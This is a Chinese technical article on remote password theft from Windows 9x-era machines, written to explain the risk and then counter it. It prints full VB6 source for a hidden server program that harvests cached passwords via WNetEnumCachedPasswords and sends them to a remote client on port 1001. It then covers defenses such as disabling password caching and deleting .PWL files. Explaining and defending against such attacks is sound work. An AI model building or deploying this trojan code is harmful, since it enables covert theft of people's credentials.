| 打开许多黑客网站的免费下载清单,我们会发现大量远程攻击软件,其中远程盗取他人密码便是这些软件的常见功能之一。“知己知彼”才能“有的放矢”。因此本文在分析远程盗取密码的原理后,有针对性地给出对策。 |
| 一、远程盗取密码的原理 |
| 我们通过一个示例程序来说明(VB 6.0)。 |
| 1. 远程控制端程序(frmClient.frm) |
| 在窗体上建五个控件:一个名为 tcpClient的 Winsock控件用于通讯;一个名为txtIP 的 TextBox控件用于填写对方的IP地址;一个名为 txtOutput的 TextBox控件用于显示盗取的对方电脑的密码;一个名为cmdConnect的 CommandButton控件用于执行连接;一个名为 cmdGet_Pass的 CommandButton控件用于取回密码(见图一)。 |

|
| 执行时,首先填入对方的IP地址,然后执行连接。若连接成功,则该按钮变虚,同时“取密码”按钮变为可用状态。图二显示了取回密码后的程序外观。 |

|
| 从图二中可以看出,被盗取回来的密码主要包括:局域网内某些加锁硬盘的解锁码(信息显示区的第一行)、互联网使用中的一些密码(第二、三行)、拨号上网时使用的用户名和密码(第六至九行)等。 |
| 远程控制端的完整源代码如下: |
| '====================== frmClient.frm |
| Option Explicit |
| Private Sub cmdConnect_Click() ' 执行连接 |
| tcpClient.RemoteHost = txtIP.Text |
| tcpClient.RemotePort = 1001 |
| tcpClient.Connect |
| End Sub |
| |
| Private Sub cmdGet_Pass_Click() ' 请求返回密码 |
| tcpClient.SendData "Passwords" |
| End Sub |
| |
| Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long) |
| Dim strData As String |
| tcpClient.GetData strData |
| If strData = "Connect OK" Then |
| cmdConnect.Enabled = False ' 将“连接”按钮置虚 |
| cmdGet_Pass.Enabled = True ' 同时将“取密码”按钮置为可用状态 |
| Else |
| txtOutput.Text = strData ' 将返回的密码填入显示区 |
| End If |
| End Sub |
| |
| 2. 潜伏在主机端的程序(frmServer.frm) |
| 窗体上只有两个控件:一个 Winsock控件用于通讯,一个 TextBox控件用于密码暂存。同时,窗体的 ShowInTaskbar属性和 Visible属性均设为 False,以便该程序即使在任务栏中也不可见。 |
| 潜伏端程序及其附属模块(Passwords.bas)如下: |
| '====================== frmServer.frm |
| Option Explicit |
| |
| Private Sub Form_Load() |
| ' 将 LocalPort 属性设置为一个整数。然后调用 Listen 方法。 |
| tcpServer.LocalPort = 1001 |
| tcpServer.Listen |
| End Sub |
| |
| Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long) |
| ' 检查控件的 State 属性是否为关闭的。 |
| ' 如果不是,在接受新的连接之前先关闭此连接。 |
| If tcpServer.State <> sckClosed Then tcpServer.Close |
| ' 接受具有 requestID 参数的连接。 |
| tcpServer.Accept requestID |
| tcpServer.SendData "Connect OK" |
| End Sub |
| |
| Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long) |
| ' 为进入的数据声明一个变量。然后调用 GetData 方法。 |
| Dim strData As String |
| tcpServer.GetData strData |
| If strData = "Passwords" Then |
| Call Return_Password_Cached ' 调用模块Passwords.bas中的函数 |
| tcpServer.SendData txtSendData.Text ' 将 TextBox控件中的信息向远程传送 |
| End If |
| End Sub |
| |
| '====================== Passwords.bas |
| Option Explicit |
| Declare Function WNetEnumCachedPasswords Lib "MPR.DLL" _ |
| (ByVal s1 As String, ByVal i1 As Integer, ByVal b1 As Byte, _ |
| ByVal proc_addr As Long, ByVal l1 As Long) As Long |
| |
| Type Cached_Passwords |
| id As Integer |
| num_of_Name As Integer ' 当前资源名的长度 |
| num_of_Pass As Integer ' 当前密码的长度 |
| flag As Byte |
| the_Type As Byte ' 类型 |
| data(1 To 1024) As Byte ' 包含当前资源名和密码的数据区 |
| End Type |
| |
| Public Function get_pass(PASS As Cached_Passwords, _ |
| ByVal nouse As Long) As Integer |
| Dim i%, temp1$, temp2$ |
| For i = 1 To PASS.num_of_Name |
| temp1 = temp1 + Chr(PASS.data(i)) ' 得到当前资源名 |
| Next |
| For i = PASS.num_of_Name + 1 To (PASS.num_of_Name + PASS.num_of_Pass) |
| temp2 = temp2 + Chr(PASS.data(i)) ' 得到当前密码 |
| Next |
| ' 将当前资源名和密码填入 TextBox控件中进行汇总 |
| frmServer.txtSendData.Text = frmServer.txtSendData.Text + Chr(13) _ |
| + Chr(10) + temp1 + " : " + temp2 |
| get_pass = True |
| End Function |
| |
| Public Sub Return_Password_Cached() |
| Dim i%, temp1$, long1 As Long, byte1 As Byte |
| byte1 = &HFF: i = 0: long1 = 0: temp1 = "" |
| ' 将上面的函数(get_pass)之地址作为参数,调用 WNetEnumCachedPasswords |
| ' WNetEnumCachedPasswords 会自动根据资源总数多次调用 get_pass 函数。 |
| Call WNetEnumCachedPasswords(temp1, i, byte1, AddressOf get_pass, long1) |
| End Sub |
| |
| 可以看出,上述程序的关键所在是 API函数 WNetEnumCachedPasswords的调用,该函数属于 Microsoft的“网络接口动态链接库”,即“MPR.DLL”(在 system目录下)。 WNetEnumCachedPasswords函数的作用是将 Windows系统在启动时缓存在内存中的用户密码提取出来并传给用户函数。 |
| 因此,正是 Windows自身的“密码缓存”设计,帮助远程入侵者轻松获取密码。 |
| 二、防止密码被盗取的方法 |
| 关闭“密码缓存”是解决问题的根本。 |
| 可以用另一个 API函数 WNetCachePassword来实现。但也有几个更简易的方法: |
| 方法一:修改配置文件 |
| 修改 Windows目录下的System.ini文件,在其[NETWORK] 部分中加入一行: |
| PasswordCaching=no |
| 方法二:修改系统注册表 |
| 首先定位到注册表的下述位置: |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ |
| Policies\Network\ |
| 然后新建一个 DWORD值: |
| DisablePwdCaching = 1 |
| 方法三:不登录系统或不保存密码 |
| 只有成功登录系统,Windows 的“密码缓存”功能才会开启。因此在一般的单用户情况下,“不登录系统”不仅是安全的而且在功能上也没什么损失。如图三所示,在登录时选择“取消”键。 |

|
| 或者干脆从不保存密码,如图四所示,将“保存密码”前的“ˇ”去掉。 |

|
| 方法四:删除“.PWL”文件 |
| “.PWL”文件一般保存在 Windows目录下,它们以加密形式记录了所有用户密码。系统的“密码缓存”功能正是通过解密“.PWL”文件来实现的。 |
| 非常令人不安的是,一些黑客网站公布了解密“.PWL”文件的算法。因此,即使“密码缓存”已被关闭,只要入侵者能访问到硬盘上的“.PWL”文件,用户密码依然并不安全。 |
| 所以,删除“.PWL”文件是一劳永逸的办法。 |
| 三、提高系统的整体安全性 |
| 从上面的分析和例子我们还可以看出,阻止黑客程序植入本机也是解决问题的关键。常用的方法有:不需要IP地址时,清除掉本机的IP设置;加装针对内部局域网和外部互联网的防火墙;谨慎打开E-Mail中的附件;谨慎使用不知来源的可执行程序;以及设置主板级开机密码以防止本机被直接侵入,等等,此处不再赘述。 |